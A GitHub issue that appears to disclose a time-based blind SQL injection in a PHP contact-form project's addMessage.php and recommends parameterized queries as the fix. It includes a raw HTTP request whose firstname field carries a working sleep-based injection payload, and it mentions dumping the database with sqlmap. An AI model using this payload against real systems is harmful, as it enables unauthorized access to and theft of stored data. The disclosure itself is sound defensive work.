Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Vulnerability/BUG - SQL Injection while addMessage #1

Open
shubhamvpandey opened this issue Sep 30, 2021 · 0 comments
Open

Vulnerability/BUG - SQL Injection while addMessage #1

shubhamvpandey opened this issue Sep 30, 2021 · 0 comments

Comments

@shubhamvpandey
Copy link

shubhamvpandey commented Sep 30, 2021

Hi
I found a SQL injection vulnerability in your Contact-Form-With-Messages-Entry-Management

POST /Contact-Form-With-Messages-Entry-Management-master/process/contacts/addMessage.php HTTP/1.1
Host: 192.168.1.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 139
Origin: http://192.168.1.6
Connection: close
Referer: http://192.168.1.6/Contact-Form-With-Messages-Entry-Management-master/view/contact.php
Cookie: PHPSESSID=8jp0c36flam1krptku4bq9hvf5

firstname=test'%2b(select*from(select(sleep(20)))a)%2b'&lastname=test&email=sdsada%40gmail.com&phone=123123131&subject=test&message=rtesdas

Above query will only sleep database for 20 second but Using SQLmap bad user can dump the database as show in image.
Contact-Form-With-Messages-Entry-Management

Control -
User inputs consumed by the application should be sanitized based on the data type and data sets. For example, user input for age should only be allowed to contain numbers. Blacklist approach where certains characters and keywords are sanitized is not recommended.

Remediation -
To prevent this follow the following steps:
a) Validate all input data against a whitelist

b) Use of parameterized queries
String selectStatement = "SELECT * FROM User WHERE userId = ? ";
PreparedStatement prepStmt = con.prepareStatement(selectStatement);
prepStmt.setString(1, userId);
ResultSet rs = prepStmt.executeQuery();

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant